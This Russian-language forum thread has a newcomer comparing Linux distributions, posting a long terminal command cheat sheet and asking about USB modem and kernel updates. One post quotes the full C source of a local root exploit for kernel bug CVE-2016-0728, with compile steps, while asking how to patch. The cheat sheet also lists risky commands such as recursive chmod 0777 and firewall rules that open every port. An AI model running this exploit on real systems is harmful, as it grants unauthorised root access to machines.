Xubuntu как старт

Discussion in 'Linux, Freebsd, *nix' started by CKAP, 14 Nov 2015.

  1. CKAP

    CKAP Well-Known Member

    Joined:
    9 Oct 2015
    Messages:
    653
    Likes Received:
    2,865
    Reputations:
    8
    Да мы наверное скоро все будем кидаться в Windows говном.
     
  2. ZombieXLX

    ZombieXLX Member

    Joined:
    3 Oct 2015
    Messages:
    40
    Likes Received:
    15
    Reputations:
    0
    Открою тебе секрет в него кидают это с самого его появления.
     
  3. CKAP

    CKAP Well-Known Member

    Joined:
    9 Oct 2015
    Messages:
    653
    Likes Received:
    2,865
    Reputations:
    8
    Да я так и понял... хотя сейчас сижу через CMD gcc гоняю. Конечно CMD слабоват (очень мягко сказано) по сравнению с Shell-ом Linux. Но я продолжаю находить команды для CMD о которые я раньше не знал.
    Ну допустим...

    wmic baseboard get Manufacturer
    wmic baseboard get product

    Это просто как пример. MS приходится пытать что партизана, а linux в этом плане дружелюбнее.
     
  4. ZombieXLX

    ZombieXLX Member

    Joined:
    3 Oct 2015
    Messages:
    40
    Likes Received:
    15
    Reputations:
    0
    cygwin
     
    CKAP likes this.
  5. jxios

    jxios New Member

    Joined:
    20 Nov 2015
    Messages:
    15
    Likes Received:
    4
    Reputations:
    0
    xubuntu идеальная для старта и легкая.
     
    CKAP likes this.
  6. CKAP

    CKAP Well-Known Member

    Joined:
    9 Oct 2015
    Messages:
    653
    Likes Received:
    2,865
    Reputations:
    8
    Собственно поставил я себе Магею. Так же как и Роса, прожорливая, долго ставилась, и почему то сеть ей не раздалась. Магея сложнее в освоение. Критиковать её пока не имею права. Если б стоял ограниченный выбор Роса или Магея, выбрал бы Магея. Магея это продолжения Мандрива, Мандрака... просто Русские пацаны перекупили дистр и начали пилить Роса. Но и те от дистра не оказались и продолжили свои дела в Магея. Образовав очередную вилку.

    Можно уже подвести небольшой итог.

    Самая добрая точка входа в мир linux это xubuntu. Абсолютный факт, константа. Все маны что подходят к ubuntu так же подойдут ко всем вилкам от ubuntu. Будь то Кали, Ксибунту и тд.

    Сейчас смотрю на Арч Линукс, но смущает вес дистра.

    Как мы уже знаем.
    Red hat - юзает сервис гугл.
    Freebsd (Кстати это Unix) - Яндекс. (Кстати их любимый язык Си и Питон.)
     
    #46 CKAP, 20 Nov 2015
    Last edited: 22 Nov 2015
  7. CKAP

    CKAP Well-Known Member

    Joined:
    9 Oct 2015
    Messages:
    653
    Likes Received:
    2,865
    Reputations:
    8
    Pfsense
    Думая не будет лишним для общего развития. На базе Unix.



    Делаем Роутер из ПК.
     
  8. CKAP

    CKAP Well-Known Member

    Joined:
    9 Oct 2015
    Messages:
    653
    Likes Received:
    2,865
    Reputations:
    8
    Нашлась ещё одна хорошая точка входа в мир Linux
    И ей оказался linux Mint.

    [​IMG]

    Собственно это тот же Xubuntu только одомашненный. Всё привычно и понятно. Дистр подойдёт как взрослым людям которые, ну не знаю, учатся роботе с ОС по конспектам. Я когда маме объяснял как на той же Винде открыть папку с фильмами, и запустить один из них. Она всю последовательность действий конспектировала. Теперь уже она сама регается на говно фермах, заказывает себе через сеть всякую хуйню, и всё у нее не плохо. Понятно да что, ваши методы обучения только ваши. Главное конечный результат.

    Так дистр подойдет людям 90-00х годов выделки. Особенно тем кому не нужно не чего ковырять, хакать и крякать, а просто работать с софтом, которого там хоть жопай жуй. На скрине дистр linux Mint 17.2 Cinamon - Я это подчеркнул потому что Mint есть не только у Ubuntu как я понял.
     
    #48 CKAP, 22 Nov 2015
    Last edited: 22 Nov 2015
  9. CKAP

    CKAP Well-Known Member

    Joined:
    9 Oct 2015
    Messages:
    653
    Likes Received:
    2,865
    Reputations:
    8
    Команды для терминала.
    Приведенные команды будут одинаково верно работать во многих дистрибутивах, таких как: ASPLinux, Debian, Gentoo, Ubuntu, ALTLinux и во многих других.

    Code:
    I. Общие команды Linux.
    _______________________________________
    # uname -a *// Показать версию ядра Linux;
    # lsb_release -a *// На экран выводиться информация о версии операционной системы Debian и оснваных на ней дистрибутивах;
    # cat /etc/SuSE-release *// На экран выводится информация о версии операционной системы SuSE;
    # man hier *// Описание иерархии файловой системы (для чего нужна каждая директория в linux);
    # clear *// Очищение экрана терминала;
    # wall Привет *// Отправляет на терминалы других пользователей сообщение "Привет";
    # date *// Показывает текущую дату и время;
    # cal -3 *// Показывает в удобной форме предыдущий, текущий и последующий месяц (типо календарь);
    # uptime *// Показать текущее время и работу системы без перезагрузки и выключения;
    # hostname *// Показать сетевое имя компьютера;
    # whois linux.org *// Показать информацию о доменом имени linux.org;
    # export http_proxy=http://your.proxy:port *// Изменить переменной окружения http_proxy, для использования интернета через proxy-сервер;
    # wget http://itshaman.ru/images/logo_white.png *// Скачать файл http://itshaman.ru/images/logo_white.png в текущую папку;
    # wget --convert-links -r http://www.linux.org/ *// Копирование сайта целиком и конвертирование ссылок для автономной работы. Копирование происходит на 5 уровней в глубину;
    # pppconfig *// Создание и настройка Dial-Up соединения для выхода в Интернет по модему;
    # pppoeconf *// Создание и настройка выхода в Интернет через ADSL-модем;
    # !! *// Выполнить последнюю команду;
    # history | tail -50 *// Показать последние 50 набранных команд;
    # exit *// Завершить сеанс текущего пользователя;
    # passwd *// Меняет пароль текущего пользователя;
    # shutdown -h now *// Выход из Linux;
    # poweroff *// Выход из Linux;
    # reboot *// Перезагрузка системы;
    # last reboot *// Cтатистика перезагрузок;
    # winecfg *// Настройка Wine - НЕэмулятор WinAPI;
    # host itshaman.ru *// Показывает IP-адрес введенного сайта;
    
    II. Команды Linux для работы с файловыми директориями.
    ____________________________________________________
    # pwd *// Выводит текущий путь;
    # ls *// Выводит список файлов и каталогов по порядку;
    # ls -laX *// Выводит форматированный список всех файлов и директорий, включая скрытые;
    # cd *// Переход в домашнюю директорию;
    # cd /home *// Переход в директорию /home;
    # touch /home/primer2 *// Создание пустого файла /home/primer2;
    # cat /home/primer2 *// Показать содержимое файла /home/primer2;
    # tail /var/log/messages *// Выводит конец файла. Удобно при работе с логами и большими файлами;
    # nano /home/primer2 *// Редактирование файла /home/primer2;
    # gedit /home/primer2 *// Вторая команда Linux для редактирования файла;
    # echo "Последняя строчка" | sudo tee -a /home/primer2 *// Добавление к концу файла "Последняя строчка" в файл /home/primer2;
    # cp /home/Mut@NT/primer.txt /home/primer.txt *// Копирует /home/Mut@NT/primer.tx в home/primer.txt;
    # ln -s /home/Mut@NT/primer.txt /home/primer *// Cоздает символическую ссылку /home/primer к файлу /home/Mut@NT/primer.txt;
    # mkdir /home/Mut@NT/shaman *// Создание директории с именем shaman;
    # rmdir /home/Mut@NT/shaman *// Удаление директории с именем shaman;
    # rm -rf /home/Mut@NT/shaman *// Удаление директории с вложенными фалами;
    # cp -la /dir1 /dir2 *// Копирование директорий;
    # mv /dir1 /dir2 *// Переименование директории;
    # du -sh /home/Mut@NT/ *// Выводит на экран размер заданной директории. Можно использовать для определения размера файлов;
    # locate primer *// Поиск всех файлов с именем primer;
    
    # [sudo] chmod 0777 /home/ *// Изменение прав доступа к директории только для /home. 0777 – разрешение на чтение/запись/исполнение для всех групп;
    # [sudo] chmod -R 0777 /home/ *// Рекурсивное изменение прав доступа к директории /home. 777 – разрешение на чтение/запись/исполнение для всех групп. Все вложенные директории и файлы будут иметь права 0777;
    # [sudo] chown Mut@NT:ITShaman /home/primer.txt *// Изменение владельца и группы только для файла /home/primer.txt;
    # [sudo] chown -R Mut@NT /home/ *// Изменение владельца для всего содержимого директории /home;
    
    III. Работа с архивами.
    ____________________
    
    # tar cf primer.tar /home/primer.txt *// Создать tar-архив с именем primer.tar содержащий /home/primer.txt;
    # tar czf primer.tar.gz /home/primer.txt *// Cоздать tar-архив с сжатием Gzip по имени primer.tar.gz;
    # tar cjf primer.tar.bz2 /home/primer.txt *// Cоздать tar-архив с сжатием Bzip2 по имени primer.tar.bz;
    # tar xf primer.tar *// Распаковать архив primer.tar в текущую папку;
    # tar xzf primer.tar.gz *// Распаковать tar-архив с Gzip;
    # tar xjf primer.tar.bz *// Распаковать tar-архив с Bzip2;
    
    IV. Команды Linux: установка программ.
    ____________________________________
    RPM - дистрибутивы
    # rpm -qa *// Показать список установленных пакетов RPM в системе;
    
    # [sudo] rpm -i pkgname.rpm *// Установка RPM пакета pkgname.rpm;
    # [sudo] rpm -e pkgname *// Удаление RPM пакета pkgname;
    # [sudo] dpkg -i *.rpm *// Установка всех пакетов в директории;
    
    DEB - дистрибутивы
    
    # dpkg -l |more *// Показать список установленных пакетов DEB в системе;
    # apt-cache search имя пакета *// Ищет в индексах наличее доступного пакета и выводит на экран краткую информацию о нужном пакете (очень полезная команда для поиска и установки программ из консоли);
    # apt-cache showpkg имя пакета *// Полная информация о указанном пакете;
    
    # [sudo] apt-get update *// Обновление списка доступных пакетов из Internet;
    # [sudo] apt-get upgrade *// Обновление доступной версии установленных пакетов в системе;
    # [sudo] apt-get install pkgname *// Установка DEB пакета pkgname;
    # [sudo] apt-get remove pkgname *// Удаление DEB пакета pkgname;
    # [sudo] dpkg -i *.deb *// Установка всех пакетов в директории;
    
    V. Команды Linux: мониторинг работы и просмотр логов.
    _____________________________________________________
    
    # top *// Информация в реальном времени о загруженных процессах, потребление ОЗУ;
    # htop *// Более расширенная on line-статистика о загруженных процессах (разработчик http://htop.sourceforge.net);
    # dmesg *// Показывает log-файл загрузки ОС и нахождения новых устройств;
    # mpstat 1 *// Показывает расширенную статистику потребления ресурсов системы в процентах (для некоторых дистрибутивов необходима установка пакета sysstat);
    # vmstat 2 *// Показать расширенную статистику по использованию виртуальной памяти;
    # iostat 2 *// Показать расширенную статистику прерываний по устройствам;
    
    VI. Команды Linux: информация об устройствах.
    ____________________________________________
    
    # lsdev *// информация об уже установленных устройствах (в некоторых дистрибутивах требует доставить пакет procinfo);
    # cat /proc/cpuinfo *// Показать полную информацию о модели процессора (частота, поддерживаемые инструкции и т.д.);
    # cat /proc/meminfo *// Показать расширенную информацию о занимаемой оперативной памяти (MemTotal, MemFree, Buffers, Cached, SwapCached,HighTotal, HighFree, LowTotal и т. д.);
    # grep SwapTotal /proc/meminfo *// Показать размер раздела выделенного под swap;
    # watch -n1 'cat /proc/interrupts' *// Показать информацию о прерываниях;
    # free -m *// Информация о используемой и свободной ОЗУ и Swap-файле (-m указывает, что отображать нужно в Мб);
    # lshal *// Показать список всех устройств и их параметров;
    # cat /proc/devices *// Показать все устройства в системе (названия взяты из директории /proc/devices);
    # lspci -tv *// Показать обнаруженные PCI-устройства;
    # lsusb -tv *// Показать обнаруженные USB-устройства;
    # [sudo] dmidecode *// Показать информацию о версии BIOS компьютера;
    # gtf 1024 768 75 *// Выводит строку ModeLine для Вашего монитора на параметрах экрана 1024x768x75Hz;
    
    VII. Команды Linux: жесткие диски и файловая система.
    ___________________________________________________
    
    # fdisk -l *// Информация о всех подключенных жестких и сменных дисках;
    # [sudo] hdparm -I /dev/sda *// Полная информация о IDE/ATA жестких дисках;
    # smartctl -a /dev/sda1 *// Выводит SMART-информацию о разделе жесткого диска /dev/sda1 (необходима установка пакета smartmontools);
    # [sudo] blkid *// Выводит UUID всех доступных накопителей информации в системе;
    
    # [sudo] hdparm -tT /dev/sda *// Показывает производительность жесткого диска;
    
    # mount | column -t *// Показывает полную информацию о примонтированных устройсвах;
    # cat /proc/partitions *// Показывает только примонтированные разделы жесткого диска;
    # df *// Показывает свободное место на разделах;
    # [sudo] mount /dev/sda1 /mnt *// Монтирует раздел /dev/sda1 к точке монтирования /mnt;
    # [sudo] mount -t auto /dev/cdrom /mnt/cdrom *// Монтирует большинство CD-ROM`ов;
    # [sudo] mount /dev/hdc -t iso9660 -r /cdrom *// Монтирует IDE CD-ROM;
    # [sudo] mount /dev/scd0 -t iso9660 -r /cdrom *// Монтирует SCSI CD-ROM;
    # [sudo] mount -t ufs -o ufstype=ufs2,ro /dev/sda3 /mnt *// Монтирование FreeBSD разделов в Linux;
    # [sudo] mount -t smbfs -o username=vasja,password=pupkin //pup/Video *// Монтирование сетевых ресурсов (SMB);
    # [sudo] mount -t iso9660 -o loop /home/file.iso /home/iso *// Монтирование ISO-образов;
    # [sudo] mount /dev/sdb1 -t vfat -o rw /mnt *// Монтирование раздел с файловой системой FAT 16/32 (к примеру USB-накопитель) к точки монтирования /mnt с возможностью записи;
    # [sudo] umount /mnt *// Отмонтирует раздел от точки монтирования /mnt;
    
    VIII. Команды Linux: настройка сети.
    _________________________________
    
    # ifconfig *// Показать параметры всех сетевых;
    # ifconfig eth0 *// Показать параметры сетевого интерфейса eth0;
    # [sudo] ethtool eth0 *// Показывает состояние сетевого интерфейса eth0 (для некоторых дистрибутивов требуется установка пакета ethtool). Команда ethtool применяется только для проводных подключений, не работает с беспроводными интерфейсами;
    # [sudo] ethtool -s eth0 speed 100 duplex full autoneg off *// Принудительно задать скорость сетевому интерфейсу 100Mbit и режим Full duplex и отключить автоматическое определение;
    # ifconfig eth0 192.168.50.254 netmask 255.255.255.0 *// Задать основной IP адрес сетевому интерфейсу eth0;
    # ip addr add 192.168.50.254/24 dev eth0 *// Задать основной IP адрес сетевому интерфейсу eth0;
    # ifconfig eth0:0 192.168.51.254 netmask 255.255.255.0 *// Задать дополнительный IP адрес сетевому интерфейсу eth0;
    # ip addr add 192.168.51.254/24 dev eth0 label eth0:1 *// Задать дополнительный IP адрес сетевому интерфейсу eth0;
    # [sudo] ifconfig eth0 up *// Запустить сетевой интерфейс eth0;
    # [sudo] ifconfig eth0 down *// Отключить сетевой интерфейс eth0;
    # ifconfig eth0 hw ether 00:01:02:03:04:05 *// Смена MAC адреса;
    # [sudo] /etc/init.d/dhcpd restart *// Перезагрузка DHCP клиента;
    # ping 192.168.0.2 *// Проверка сетевого соединения. Пингуется IP адрес 192.168.0.2 (пинговать можно по домену, например ya.ru);
    
    # route -n *// Выводит на экран таблицу маршрутизации;
    # netstat -rn *// Выводит на экран таблицу маршрутизации;
    
    # netstat -an | grep LISTEN *// Показывает список всех открытых портов;
    # lsof -i *// Показывает список всех открытых портов в сеть Internet;
    # [sudo] netstat -tup *// Активные соединения с интернетом;
    # socklist *// Показывает все открытые сокеты;
    # [sudo] netstat -anp --udp --tcp | grep LISTEN *// Список приложений, которые открывают порты;
    # [sudo] iptables -L -n -v *// Показывает статус firewall (статус iptables);
    # [sudo] iptables -P INPUT ACCEPT *// Открывает доступ ко всем портам;
    # [sudo] iptables -P FORWARD ACCEPT *// Открывает доступ ко всем портам;
    # [sudo] iptables -P OUTPUT ACCEPT *// Открывает доступ ко всем портам;
    # [sudo] iptables -X *// Удаляет все цепочки;
    
    
    # [sudo] iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE *// "Поднятие" NAT на интерфейсе eth0;
    # [sudo] iptables -t nat -A PREROUTING -p tcp -d 78.31.70.238 --dport 20022 -j DNAT --to 192.168.16.44:22 *// Перенаправление порта 20022, который использется для ssh;
    # [sudo] iptables -t nat -A PREROUTING -p tcp -d 78.31.70.238 --dport 993:995 -j DNAT --to 192.168.16.254:993-995 *// Перенаправление диапазона портов 993-995;
    # iptables -L -t nat *// Проверка статуса NAT;
    
    IX. Команды Linux: создание и запись ISO образов.
    ________________________________________________
    
    # cdrecord -scanbus *// Показывает все доступные CD-ROM;
    # dd if=/dev/hdc of=/tmp/mycd.iso bs=2048 conv=notrunc *//Создание ISO образов с диска CD-ROM;
    
    X. Команды Linux: пользователи и группы.
    _________________________________________
    
    # id *// Показывает сводную информацию по текущему пользователю (логин, UID, GID, группы);
    # finger Mut@NT *// Показать информацию о пользователе Mut@NT;
    # last *// Показывает последних зарегистрированных пользователей;
    # who *// Показывает имя текущего пользователя и время входа;
    # useradd Mut@NT *// Добавление нового пользователя Mut@NT;
    # groupadd ITShaman *// Добавление группы ITShaman;
    # usermod -a -G ITShaman Mut@NT *// Добавляет пользователя Mut@NT в группу ITShaman (для Debian-подобных дистрибутивов);
    groupmod -A Mut@NT ITShaman *// Добавляет пользователя Mut@NT в группу ITShaman (SuSE);
    # userdel Mut@NT *// Удаление пользователя Mut@NT;
    # groupdel ITShaman *// Удаление группы ITShaman;
    
    XI. Команды Linux: работа с процессами. Все запущенные процессы имеют уникальные номера - PID.
    _______________________________________________________________________________________________
    
    # ps axjf *// Показать все загруженные процессы;
    # pgrep -l sshd *// Показать PID определенного процесса – sshd;
    # echo $$ *// Показать PID вашей оболочки;
    # fuser -va 22/tcp *// Показать PID процесса использующий порт 22;
    # fuser -va /home *// Показывает PID процесса имеющего доступ к /home;
    # lsof /home *// Показывает список процессы, которые используют /home;
    # killall 0 httpd *// Выводит на экран текущее состояние процесса httpd;
    # kil 4712 *// «Убить» процесс с PID 4712;
    # [sudo] killall TERM 4712 *// Посылает процессу с PID`ом 4712 сигнал TERM - завершить процесс;
    # [sudo] killall HUP httpd *// Посылает процессу с именем httpd сигнал HUP - остановить процесс;
    # [sudo] fuser -k -TERM -m /home *// “Убить” все процессы имеющие доступ к /home;
    
    Важные сигналы посылаемые процессам:
        1 - HUP остановить процесс
        2 - INT прервать процесс
        3 - QUIT выйти
        9 - KILL “убить” процесс
        15 - TERM завершить процесс
    
    XII. Команды Linux: Runlevels.
    ______________________________
    
    Загрузка каждой службы осуществляется скриптом. Все скрипты лежат в /etc/init.d.
    Runlevels – это целое число, которое определяет “уровень загрузки”.
    
    “Уровни загрузки” бывают:
        Runlevels=0 Выключение компьютера;
        Runlevels=1 режим Single-User;
        Runlevels=2 Текстовый режим без поддержки сети;
        Runlevels=3 Текстовый режим с поддержкой сети;
        Runlevels=4;
        Runlevels=5 Графический режим;
        Runlevels=6 Перезагрузка компьютера.
    
    # [sudo] sysv-rc-conf *//Очень удобная настройка Runlevels (необходима установка пакета sysv-rc-conf);
    
    # chkconfig --list *// Показывает список всех скриптов с соответствующими им Runlevels;
    # chkconfig --list udev *// Показывает разрешенные Runlevels только отдельного скрипта, в нашем случае udev;
    # [sudo] update-rc.d udev defaults *// Выставление скрипту udev значений Runlevels по-умолчанию (для Debian-подобных дистрибутивов);
    # [sudo] chkconfig udev --level 35 on *// Добавление скрипту udev Runlevels 3 и 5;
    # [sudo] update-rc.d udev start 20 2 3 4 5 . stop 20 0 1 6 *// Изменить параметры для скрипта udev (для Debian-подобных дистрибутивов);
    # [sudo] chkconfig udev off *// Отключение у udev всех Runlevels;
    # [sudo] update-rc.d -f udev remove *// Отключение у udev всех Runlevel (для Debian-подобных дистрибутивов);
    
    XIII. Команды Linux: Работа с ядром и модулями.
    ____________________________________________
    
    
    # lsmod *// Список всех модулей загруженных в ядро;
    # [sudo] modprobe isdn *// Загрузка модуля на примере isdn;
    # make *// Создание сжатого образа ядра системы;
    # make modules *// Компиляция модуля;
    # [sudo] make modules_install *// Установка модуля;
    # [sudo] make install *// Установка в ядро системы;
    
    XIV. Команды Linux: работа с LiveCD.
    ___________________________________
    
    # [sudo] chroot /mnt *// смена root-окружения на /mnt. После этого коневой раздел, примонтировнный к /mnt, будет использоваться как родной;
    
    XV. Команды Linux: конвертирование различной информации.
    ________________________________________________________
    
    # iconv -l *// Выводит список всех доступных кодировок;
    # iconv -f cp1251 -t UTF-8 file_cp1251.txt -o file_utf8.txt *// Смена кодировки. Был файл file_cp1251.txt с кодировкой cp1251, а в итоге получился файл file_utf8.txt с кодировкой utf8;
    
    # convert name.pdf name-%03d.jpg *// Конвертируется name.pdf в постраничные JPEG изображения (в некоторых дистрибутивах необходимо установить пакет imagemagick);
    # convert *.jpeg name.pdf *// Конвертируются JPEG изображения в PDF (в некоторых дистрибутивах необходимо установить пакет imagemagick);
    
    # cdparanoia -B *// Копирование треков с AudioCD в текущую директорию wav-файлами;
    # lame -b 256 in.wav out.mp3 *// Конвертирование wav-файлов в mp3 с качеством 256 kb/s;
    # oggenc in.wav -b 256 out.ogg *// Конвертирование wav-файлов в Ogg Vorbis с качеством 256 kb/s;
    
    XVI. Команды Linux: печать на принтере.
    ______________________________________
    
    
    # export PRINTER=lbp2900 *// Выбор принтера по-умолчанию. В примере выбран принтер Canon LBP-2900;
    # lpr #2 name.txt *// Распечатать на принтере Canon LBP-2900 две копии файла name.txt;
    # lprm - *// Удаление всех задач с принтера по-умолчанию;
    
    
    

    I. Общие команды Linux.
    II. Команды Linux для работы с файловыми директориями.
    III. Работа с архивами.
    IV. Команды Linux: установка программ.
    V. Команды Linux: мониторинг работы и просмотр логов.
    VI. Команды Linux: информация об устройствах.
    VII. Команды Linux: жесткие диски и файловая система.
    VIII. Команды Linux: настройка сети.
    IX. Команды Linux: создание и запись ISO образов.
    X. Команды Linux: пользователи и группы.
    XI. Команды Linux: работа с процессами.
    XII. Команды Linux: Runlevels.
    XIII. Команды Linux: Работа с ядром и модулями.
    XIV. Команды Linux: работа с LiveCD.
    XV. Команды Linux: конвертирование различной информации.
    XVI. Команды Linux: печать на принтере.
    __________________________________
    *// Комментарий;
    Важно: Команды чувствительны к регистру!!!
     
    #49 CKAP, 15 Dec 2015
    Last edited: 15 Dec 2015
    vikii likes this.
  10. vikii

    vikii Banned

    Joined:
    29 Dec 2013
    Messages:
    175
    Likes Received:
    73
    Reputations:
    1
    Я тебе открою секрет, команды в линукс одинаковы в большинстве случаев). Почему в большинстве? Да просто вся разница в способах установки пакетов.
     
    CKAP likes this.
  11. CKAP

    CKAP Well-Known Member

    Joined:
    9 Oct 2015
    Messages:
    653
    Likes Received:
    2,865
    Reputations:
    8
    Думаю не только мне. Благодарю.
     
  12. lkkk

    lkkk New Member

    Joined:
    18 May 2015
    Messages:
    4
    Likes Received:
    2
    Reputations:
    4
    почитай "linux from scratch", а лучше сделать попытку собрать. спустя время повторить ее ...
    п.с. хотябы узнаешь почему большинство команд одинаковые
     
  13. vikii

    vikii Banned

    Joined:
    29 Dec 2013
    Messages:
    175
    Likes Received:
    73
    Reputations:
    1
    я где то спрашивал твоего совета? вроде нет!
    есть свое имхо ? прошу! не думаю , что узнаю ,что то новое.
     
  14. CKAP

    CKAP Well-Known Member

    Joined:
    9 Oct 2015
    Messages:
    653
    Likes Received:
    2,865
    Reputations:
    8
    Продолжаю изучать Xubuntu. Заметил такую особенность. Пока не ясно с чем это связано. Суть. При первом подключении usb модема, автораном вылетает приглашения задать настройки девайсу. Выбрать оператора, и тд. Такие сети как Мегогон и МТС ставил по дефолту без проблем. Интернет раздавался сразу же по окончании настройки. После ребута ОС сеть определяется а Инет не раздается. Приходится немного подрочится с пере - подключениями, и на раз третий всё стыкуется нормально. Возможно я просто тороплюсь открывая браузер сразу после конекта, и что то не успевает прогрузится или подключится. На другой машине была точно такая же ситуация. Так вот.

    Вот что, ещё хочу поинтересоваться у про. На Windows после установки того же конект менеджера в системе появляется побочный процесс ouc.exe если это для кого то открытие то советую найти его обычным поисковиком ОС и выпилить предварительно убив его в диспетчере задач.

    Так вот... в процессах Линукса я ещё не силен. И хотел бы узнать какими средствами искать побочные процессы? Может где есть ресурс на эту тему? Буду рад.
     
  15. altblitz

    altblitz Elder - Старейшина

    Joined:
    5 Jun 2009
    Messages:
    3,694
    Likes Received:
    3,149
    Reputations:
    236
    Инет в linux можно настроить как минимум тремя разными (и конфликтующими друг с другом) способами, в зависимости от железа компа/провайдеров/дистрибутива.
    Какие сервисы управляют настройкой сети в Xubuntu сейчас - dhcpcd, nm - network-manager или другое? Вот вопрос, с которого и начинается работа над ошибками.
    Эти сервисы показываются в htop, нетрудно догадаться по названиям процессов.

    > После ребута ОС сеть определяется а Инет не раздается.
    После "мягкого/hot" ребута Windows->Linux и наоборот, роутер изменяет локальный адрес подключенного компа на одну единицу.
    Те, рутер задал компу при подключении Windows 192.168.1.2, при последующем подключении с Linux - станет 192.168.1.3.
    Это наглядно видно в настройках рутера, когда один и тот же комп имеет разные имена, в зависимости от используемой OS.
    Последствия этого - есть сеть на компе, но перестает работать проброс портов p2p и раздача инета.
     
    CKAP likes this.
  16. CKAP

    CKAP Well-Known Member

    Joined:
    9 Oct 2015
    Messages:
    653
    Likes Received:
    2,865
    Reputations:
    8
    Отличная штука... пришлось докачать, по дефолту её нет. Благодарю тебя друг.
     
  17. altblitz

    altblitz Elder - Старейшина

    Joined:
    5 Jun 2009
    Messages:
    3,694
    Likes Received:
    3,149
    Reputations:
    236
    just happy to help - ты на верном пути смекалистых )
     
    CKAP likes this.
  18. CKAP

    CKAP Well-Known Member

    Joined:
    9 Oct 2015
    Messages:
    653
    Likes Received:
    2,865
    Reputations:
    8
    Всем привет! Я продолжаю залипать в Xubuntu.
    И на повестке дня Core. Журнал ][акер опубликовал такую новость.

    В коде ядра Linux обнаружена опасная уязвимость CVE-2016-0728. Баг существует с 2012 года, и актуален для 32 и 64-битных систем и версий ядра начиная с 3.8 и заканчивая 4.5.
    Новость https://xakep.ru/2016/01/20/linux-keyring-reference-leak

    По не проверенным источникам есть инфа что это зло давно уже пофиксено.

    uname -r отобразить используемую версию ядра
    Сам баг - http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-0728
    Exploit - https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f
    Читаем коменты возможно есть бага.
    ___________________
    cve_2016_0728 exploit
    Code:
    /* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
    /* $ ./cve_2016_072 PP_KEY */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <keyutils.h>
    #include <unistd.h>
    #include <time.h>
    #include <unistd.h>
    
    #include <sys/ipc.h>
    #include <sys/msg.h>
    
    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
    _commit_creds commit_creds;
    _prepare_kernel_cred prepare_kernel_cred;
    
    #define STRUCT_LEN (0xb8 - 0x30)
    #define COMMIT_CREDS_ADDR (0xffffffff81094250)
    #define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)
    
    
    
    struct key_type {
        char * name;
        size_t datalen;
        void * vet_description;
        void * preparse;
        void * free_preparse;
        void * instantiate;
        void * update;
        void * match_preparse;
        void * match_free;
        void * revoke;
        void * destroy;
    };
    
    void userspace_revoke(void * key) {
        commit_creds(prepare_kernel_cred(0));
    }
    
    int main(int argc, const char *argv[]) {
        const char *keyring_name;
        size_t i = 0;
        unsigned long int l = 0x100000000/2;
        key_serial_t serial = -1;
        pid_t pid = -1;
        struct key_type * my_key_type = NULL;
    
    struct { long mtype;
            char mtext[STRUCT_LEN];
        } msg = {0x4141414141414141, {0}};
        int msqid;
    
        if (argc != 2) {
            puts("usage: ./keys <key_name>");
            return 1;
        }
    
        printf("uid=%d, euid=%d\n", getuid(), geteuid());
        commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
        prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
    
        my_key_type = malloc(sizeof(*my_key_type));
    
        my_key_type->revoke = (void*)userspace_revoke;
        memset(msg.mtext, 'A', sizeof(msg.mtext));
    
        // key->uid
        *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
        //key->perm
        *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
    
        //key->type
        *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
    
        if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
            perror("msgget");
            exit(1);
        }
    
        keyring_name = argv[1];
    
        /* Set the new session keyring before we start */
    
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    
        if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
            perror("keyctl");
            return -1;
        }
    
    
        puts("Increfing...");
        for (i = 1; i < 0xfffffffd; i++) {
            if (i == (0xffffffff - l)) {
                l = l/2;
                sleep(5);
            }
            if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
                perror("keyctl");
                return -1;
            }
        }
        sleep(5);
        /* here we are going to leak the last references to overflow */
        for (i=0; i<5; ++i) {
            if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
                perror("keyctl");
                return -1;
            }
        }
    
        puts("finished increfing");
        puts("forking...");
        /* allocate msg struct in the kernel rewriting the freed keyring object */
        for (i=0; i<64; i++) {
            pid = fork();
            if (pid == -1) {
                perror("fork");
                return -1;
            }
    
            if (pid == 0) {
                sleep(2);
                if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                    perror("msgget");
                    exit(1);
                }
                for (i = 0; i < 64; i++) {
                    if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                        perror("msgsnd");
                        exit(1);
                    }
                }
                sleep(-1);
                exit(1);
            }
        }
    
        puts("finished forking");
        sleep(5);
    
        /* call userspace_revoke from kernel */
        puts("caling revoke...");
        if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
            perror("keyctl_revoke");
        }
    
        printf("uid=%d, euid=%d\n", getuid(), geteuid());
        execl("/bin/sh", "/bin/sh", NULL);
    
        return 0;
    }
    _______________________________
    У меня версия Core 4.2.0-23-generic
    Из этого события появляется вопрос к опытным людям. Как обновить ядро? Или как вы избавились или будете избавляться от этого случая.

    ЗЫ. Как вариант не ставить libkeyutils-dev
    ____________________________________________________
    Блин меня просто засыпали советами... А тема всё ещё в премодерации. К прочтению по теме - http://www.ubuntu.com/usn/usn-2870-2/
     
    #58 CKAP, 20 Jan 2016
    Last edited: 20 Jan 2016
  19. CKAP

    CKAP Well-Known Member

    Joined:
    9 Oct 2015
    Messages:
    653
    Likes Received:
    2,865
    Reputations:
    8
    Лично у меня прогресса пока нет.

